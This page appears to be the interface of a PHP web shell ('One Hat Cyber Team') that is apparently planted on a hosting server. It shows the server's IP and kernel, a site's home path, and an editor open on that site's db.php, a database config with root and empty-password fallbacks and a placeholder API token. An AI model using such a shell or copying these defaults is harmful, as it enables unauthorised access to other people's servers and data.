⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.70
Server IP:
209.74.65.82
Server:
Linux 209-74-65-82.cprapid.com 5.14.0-427.42.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 1 14:58:02 EDT 2024 x86_64
PHP Version:
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ivsoxidh
/
petko.atmedia.live
/
Edit File: db.php
<?php // db.php — database connection (PDO) + app config $DB_HOST = getenv('DB_HOST') ?: 'localhost'; $DB_NAME = getenv('DB_NAME') ?: 'leave_saas'; $DB_USER = getenv('DB_USER') ?: 'root'; $DB_PASS = getenv('DB_PASS') ?: ''; define('APP_NAME', 'Ivsoft Leave'); define('MAX_LEAVE_DAYS_PER_YEAR', 21); // Email settings (for mail()). For advanced SMTP use PHPMailer (optional). define('MAIL_FROM', 'no-reply@ivsoftdesign.mk'); define('MAIL_FROM_NAME', 'Ivsoft Leave'); // Simple API token (set your own strong value) define('API_TOKEN', getenv('API_TOKEN') ?: 'changeme-token'); try { $pdo = new PDO( "mysql:host=$DB_HOST;dbname=$DB_NAME;charset=utf8mb4", $DB_USER, $DB_PASS, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ] ); } catch (PDOException $e) { die('DB connection failed: ' . htmlspecialchars($e->getMessage())); } /** send email (basic) */ function send_email($to, $subject, $body) { $headers = "From: ".MAIL_FROM_NAME." <".MAIL_FROM.">\r\n"; $headers .= "MIME-Version: 1.0\r\nContent-Type: text/html; charset=UTF-8\r\n"; // In case mail() is disabled on local dev, just return true. @mail($to, "=?UTF-8?B?".base64_encode($subject)."?=", $body, $headers); }
Simpan